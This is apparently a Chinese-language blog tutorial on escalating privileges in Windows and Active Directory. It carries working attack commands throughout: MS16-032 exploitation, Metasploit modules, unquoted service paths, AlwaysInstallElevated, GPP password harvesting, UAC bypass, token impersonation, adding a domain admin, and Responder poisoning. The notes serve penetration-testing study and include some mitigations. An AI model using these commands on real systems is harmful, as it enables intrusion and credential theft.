whoami /groups
当前权限Mandatory Label\Medium Mandatory Level,是一个标准用户
接下来将权限从普通用户提升到管理员,也就是Mandatory Label\Hight Mandatory Level
通过命令查询目标机器安装了哪些补丁
systeminfo
也可以用wmic列出已安装的补丁
Wmic qfe get Caption,Description,HotFixID,InstalledOn
这些输出结果是不能被攻击者直接利用的。攻击者采取的利用方式通常是:寻找提权的EXP,将已安装的补丁编号与提权的EXP编号进行对比,例如 Kitrapt0D和KB979682、MS1-011和KB2393802、MS1-080和KB2592799、MS10-021和KB979683、MS11-080和KB2592799,然后使用没有编号的EXP进行提权。
如果目标机器中存在MS16-032(KB3139914)漏洞,那么攻击者不仅能够利用 Metasploit进行提权,还能够利用 Powershell下的 Invoke-MS16032,psl脚本(见Invoke-MS16-032.ps1)进行提权。通过Invoke-MS16-032.psl脚本可以执行任意程序,且可以带参数执行(全程无弹窗)。下面针对此问题进行测试。
把 Invoke-ms16-032.psl脚本上传到目标机器中(也可以远程下载并运行),然后执行如下命令,添加一个用户名为“1”、密码为“1”的用户(执行此脚本需要分配两个CPU)
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"
这里说我已经有了系统权限了,不给我创建不知道什么原因
MS16-032漏洞的补丁编号是KB3139914,如果发现系统中存在该漏洞,只需安装该补丁即可
利用msf中的use post/windows/gather/enum_patches模块,可以根据漏洞编号快速找出系统中缺少的补丁
先连接目标主机,拿到会话,在输入以下命令
use post/windows/gather/enum_patches
set session 2
exploit
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。Windows-Exploit-Suggester
然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:
systeminfo > sysinfo.txt
更新漏洞数据库,会生成一个xls的文件
python2 windows-exploit-suggester.py --update
安装xlrd模块
pip install xlrd -upgrade
最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:
python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt
可以快速查找可能用于本地提权的漏洞rasta-mouse/Sherlock:
Find-Allvulns //搜索所有未安装的补丁
如果无法通过系统内核溢出漏洞提权的话,攻击者就会利用系统中的配置错误来提权。
常见的配置错误包括管理员凭据配置错误、服务 配置错误、故意削弱的安全措施、用户权限过高等
windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务都是以system权限启动的,其文件夹、文件和注册表键值都是受强访问控制机制保护的。
系统服务权限配置错误的可能
PowerUp提供了一些本地的提权方法,可以通过很多实用的脚本来寻找目标机器中的Windows服务漏洞(PowerSploit的一部分)
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
脚本将会进行所有的检查
在Metasploit中,对应的利用模块是service_permissions。选择 AGGRESSIVE 选项,可以利用目标机器上的每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
use exploit/windows/local/service_permissions
设置完之后直接run,会自动反弹一个新的meterpreter会话(system权限),强大
.
service permissions模块使用两种方法来获得 System权限:如果 meterpreteri以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
注册表键 Always InstallElevated是一个策略设置项。 Windows允许低权限用户以 System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM .
该漏洞产生的原因是用户开启了 Windows Installer t特权安装功能
在“运行”设置框中输入“ gpedit. msc",打开组策略编辑器。
?组策略一计算机配置一管理模板一 Windows组件一 Windows Installer--水远以高特权进行安装:选择启用。
?组策略一用户配置一管理模板- Windows组件一 Windows Installer-永远以高特权进行安装;选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY CURRENT USER SOFTWARE Policies Microsoft Windows Installer AlwaysinstallElevated
HKEY LOCAL MACHINE Policies Microsoft Windows Installer AlwaysinstallElevated
Windows Installer是 Windows操作系统的组件之一,专门用来管理和配置软件服务。 Windows Installer 除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。
Windows Installer分为客户端安装服务( Msiexec. exe)和MsI文件两部分,它们是一起工作的。
Windows Installer通过 Msiexec.exe安装MSl文件包含的程序。MSI文件是 Windows Installer的数据包,它实际上是一个数据库,包含安装和御载软件时需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行 Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单地说,双击MS1文件就会运行 Msiexec.exe
在这里,可以使用 Powerup的Get- RegistryAlwaysinstallElevated模块来检查注册表键是否被设置。如果 AlwaysinstallElevated注册表键已经被设置,就意味着MSI文件是以 System权限运行的。运行该模块的命令如下,“True”表示已经设置。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1‘); Get-RegistryAlwaysInstallElevated
接下来添加账户。运行Write-UserAddMSI模块,生成MSI文件
Write-UserAddMSI
这是以普通用户权限运行UserAdd.msi,就会添加一个管理员账户
msiexec /q /i UserAdd.msi
也可以利用 Metasploit的 exploit/windows/local/always_install_elevated模块完成以上操作。使用该模块并设置会话参数,输入“"run”命令,会返回一个 System权限的 meterpreter。该模块会创建一个文件名随机的MS1文件,并在提权后删除所有已部署的文件只要禁用注册表键 Alwayslnstallelevated,就可以阻止攻击者通过MS1文件进行提权。
但是我没成功
可信任服务路径(包含空格且没有引号的路径)漏洞利用了 Windows文件路径解析的特性,并涉及服务路径的文件文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能性
因为 Windows服务通常都是以 System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行
例如,有一个文件路径“C:\Program Files\Some Folder\Service. exe”。对于该路径中的每一个空格, Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中, Windows会依次尝试确定和执行下列程序。
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
因此,如果一个被“适当”命名的可执行程序被上传到受影响的目录中,服务一且重启,该程序就会以 System权限运行(在大多数情况下)。
首先,检测目标机器中是否存在该漏洞。使用wmi查询命令,列出目标机器中所有没有被引号引起来的服务的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
可以看到有两个服务对应的路径没有被引号引起来,且路径包括空格,因此目标机器存在可信任服务路径漏洞
使用windows的内置工具icacls,检测是否对目标文件夹的写权限
icacls "c:\program Files"
这里显示只有管理员才有权限修改,如果出现Everyone:(OI)(CI)(F),表示对该文件夹,用户有读写删除的权限
这里没有此漏洞,只能在理论演示漏洞
在确认目标机器存在漏洞后,把要上传的程序重命名并防止在存在此漏洞且可写的目录下,执行重启服务命令
sc stop service_name
sc start service_name
也可以使用windows/local/unquoted_service_path模块,该模块会将可以执行程序放在受影响的文件夹中,如何将受影响的服务重启。
但是要注意反弹的会话很快就会中断,这是因为当一个进程在windows操作系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,从而终止这个进程。但可以终止前迁移到其他进程中
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员账号和密码等信息。这些文件列举如下(可以对整个系统进行检查)
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
也可以执行如下命令,搜索 Unattend.xml文件
dir /b /s c:\Unattend.xml
type打开文件,查看是否包含明文密码或者经过base64加密的密码
但这里显示敏感数据被删除了
也可以使用metasploit的post/windows/gather/enum_unattend模块直接利用该漏洞
可以使用如下命令查看计算机的计划任务
schtasks /query /fo LIST /v
Accesschk是 Syslnterals套件中的一个工具,由 Mark Russinovicl编写,用于在 Windows中进行一些系统或程序的高级查询、管理和故障排除工作,下载地址见AccessChk。基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而 Accesschk是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,査看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序
accesschk.exe -dqv "C:\Microsoft" -accepteula
可以使用参数/ accepteula自动接受许可协议
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
accesschk.exe -uwdgsusersc:accesschk.exe -uwdgs"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwgs"AuthenticatedUsers"c:\*.*
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。 SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。 SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Window\SYSVOL\Policies\ 目录中。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。
尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码
常见的组策略首选项
管理员在域中新建一个组策略后,操作系统会自动在 SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。在 SYSVOL中搜索,可以找到包含 password的XML文件。
浏览SYSVOL文件夹,获取相关文件C:\Window\SYSVOL\Policies\
也可以利用type命令直接搜索并访问XML文件
type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
cpassword使用AES-256加密
PowerSploit提供了Get-GPPPassword.ps1脚本,导入系统获取组策略的密码
use post/windows/gather/credentials/gpp进入模块使用,这里我没有设置组策略所以没有那个路径
在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,需要对 Everyone访问权限进行设置,具体如下。
如果计算机的操作系统版本是 Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:)、 Windows目录、 Program Files目录,以及读、写系统登录数据库( Registry)的程序等操作,都需要经过UAC( User Account Control,用户账户控制)的认证才能进行。
UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改
需要UAC的授权才能进行的操作列举如下。
UAC有如下四种设置要求。
假设通过一系列前期渗透测试,已经获得了目标机器的 meterpreter Shell当前权限为普通用户权限,现在尝试获取系统的 System权限。
use exploit/windows/local/bypassuac进入bypassuac模块,获得一个新的 meterpreter Shell
但这里需要用户必须在管理员组中,且UAC必须设置成默认模式,理论可行就不弄了
当 bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为 exploit/windows/local/bypassuac_injection模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
使用exploit/windows/local/ask模块创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter Shell
接着目标机器会弹出框框提示用户是否继续运行,单击是会返回新的 meterpreter Shell
想要使用RunAs提权,当前用户必须在管理员组中或者知道管理员的密码,对UAC的设置没有要求,在使用RunAs模块时需要使用EXE::Custom选项创建一个可执行的文件(需进行免杀)
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC
执行GET-HELP Invoke-PsUACme命令查看帮助信息
Invoke-PsUACme -Verbose ##使用Sysprep方法并执行默认payload Invoke-PsUACme -method oobe -Verbose ##使用oobe方法并执行默认payload Invoke-PsUACme -method oobe -Payload “powershell -windowstyle hidden -e YourEncodedPayload” ##使用payload,可自定
在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性
在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限
另外,可以使用微软的EMET或 Malwarebytes来更好地防范0day漏洞。
令牌( Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重新启动)
令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌( Access Token)代表访问控制操作主体的系统对象。密保令牌( Security Token)也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾。会话令牌( SessionToken)是交互会话中唯一的身份标识符。
伪造令牌攻击的核心是 Kerberos协议。 Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机服务器应用程序提供强大的认证服务。
假设已经获得了目标机器的 meterpreter Shell首先输入“ use incognito”命令,然后输入‘list_tokens-u”命令,列出可用的令牌
这里有两种类型的令牌:一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是 Impersonation Tokens,也就是模拟令牌,它支持交互式的会话。令牌的数量其实取决于 meterpreter Shell的访问级别。假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。
接下来在incognito中调用impersonate_token假冒testuser用户进行渗透测试,在输入主机名\用户名时需要输入两个反斜杠
如果目标系统中存在有效令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现提权
输入命令,列出可用令牌
use incognito
list_tokens -u
执行命令将rottenpotato.exe上传到目标机器
upload /root/rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
如果token有管理员用户的话,那么就可以拿到SYSTEM权限,这里由于是低权限用户,所以没有拿到
假设网络中设置了域管理进程。在meterpreter会话中输入ps,查看系统进程,找到域管理进程,使用migrate命令迁移到该进程
输入shell进入命令行界面
添加域用户
net user testuser 123qweasdzxc /ad /domain
将域用户添加到域管理员组
net group "domain admins" testuser /ad /domain
查看是否添加成功
net group "domain admins" /domain
同样在meterpreter中使用use incognito 来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员
在域控主机上添加一个账户
add_user testuser 123qweasdzxc -h 192.168.1.1
将该账户添加到域管理员组
add_group_user "Domain Admins“ testuser -h 192.168.1.1
假设已经进入了目标网络,但没有获取任何凭据,使用LLMNR和NetBIOS欺骗攻击对目标网络进行渗透测试
LLMNR本地链路多播名称解析是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用 LLMNR解析本地网段中机器的名称,直到DNS服务器恢复正常。
LLMNR的工作流程如下:
Netbios是一种网络协议,一般用在由十几台计算机组成的局域网中,根据 NETBIOS协议广播获得计算机名称,并将其解析为相应的P地址
Netbios提供的三种服务如下。
Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听UDP138端口。
NET-NTLM Hash与 NTLM Hash不同。
NTLM Hash是指 Windows操作系统的 Security Account Manager中保存的用户密码散列值。通常保存在 Windows的SAM文件或者NTDS.DIT数据库中,用于对访向资源的用户进行身份验证。
Net- NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战响应验证中的“响应“就包含Net- NTLM Hash。使用 Responder抓取的通常就是Net- NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用 Hashcat等工具得到明文后进行横向移动攻击。
假设目标网络的DNS服务器发生故障,会退回LLMNR和NBT-NS进行计算机名解析,下面使用Responder工具进行测试SpiderLabs/Responder
Responder是监听LLMNR和NBT-NS协议的工具之一,能够抓取网络中所有的LLMNR和NBT-NS请求并进行相应,获取最初的账户凭证
reponder -h 查看帮助
用法:
responder -I eth0 -w -r -f
原文:https://www.cnblogs.com/1-Ry/p/15226392.html